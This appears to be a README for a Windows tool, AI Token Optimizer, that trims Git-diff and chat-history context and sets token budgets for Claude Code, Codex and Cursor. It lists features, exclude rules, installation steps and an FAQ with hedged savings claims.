🗜️ AI Coding Context Compressor — Git Diff, History Summary & Token Budgets

AI Token Optimizer is A repository-aware context preparation tool built around Git diff priority, dependency radius, history summarization, prompt cleanup, generated-file exclusion and strict token budgets.

Reduction claim: The project can target up to 70% lower context/token usage, but actual reduction varies by repository, task, selected files, history length and profile.

Quick Access

Download

➡️ Download AI Token Optimizer

Preview

Dashboard

Workflow

Example token counts are illustrative, not benchmark guarantees.

Core Features

Git diff-first context
Duplicate block removal
Long-session history summaries
Generated/build-file filters
Repository token budgets
Before/after token estimates
Claude Code profile
Codex profile
Cursor profile
Generic coding-agent profile
Clipboard / Markdown export
Reusable presets

How It Saves Context

Diff-first

Prioritize changed files, modified functions, nearby imports, direct dependencies and relevant tests instead of resending an entire repository.

Deduplication

Flag repeated logs, duplicate code blocks, repeated instructions and repeated tool output.

History summary

Keep only current goal, important decisions, changed files, active constraints, unresolved errors and next actions.

Smart excludes

Configurable rules can omit:

node_modules/
dist/
build/
.cache/
coverage/
vendor/
binary files
large generated logs
temporary output

Nothing is deleted from the repository.

Token budget

Example:

Target budget: 8,000 tokens
1. Current diff
2. Referenced functions/classes
3. Nearby dependencies
4. Relevant tests
5. Project notes

Example

Original estimate:  18,420
Optimized estimate:  7,608
Illustrative saving: 58.7%

Different tasks can produce much smaller or larger savings.

Privacy Design

The basic workflow can run locally and does not need your Claude, OpenAI or Cursor password, browser cookies, session tokens or intercepted API keys simply to scan folders, read Git diff, estimate tokens, find exact duplicates and build context bundles.

Optional external summarization backends, if ever enabled, should be clearly labeled before any project data is sent.

Installation

Download AI Token Optimizer
Extract the archive.
Open the utility.
Select a repository or paste context.
Choose Claude Code, Codex, Cursor or Generic.
Set your token budget.
Run optimization.
Review before/after output.
Copy or export.

FAQ

Is the 70% reduction guaranteed?

No. It is an up to target for workflows with enough redundant or irrelevant context.

Does it bypass quotas or paid limits?

No. It only reduces the context you choose to send.

Does it modify Claude Code, Codex or Cursor?

No. It prepares context before it reaches them.

Does it need API keys?

Not for the basic local preprocessing workflow.

Focus

Git-aware code context compression / local repository workflow.

Project Information

Project: AI Token Optimizer
Platform: Windows
Profiles: Claude Code / Codex / Cursor / Generic
Potential reduction target: Up to 70%, workflow-dependent
Focus: Git-aware code context compression / local repository workflow

Disclaimer

Independent project; not affiliated with Anthropic, OpenAI, Cursor, or other AI vendors. Provider pricing, context limits, caching and quotas may change.

AI-Token-Optimizer-Claude-Codex-Cursor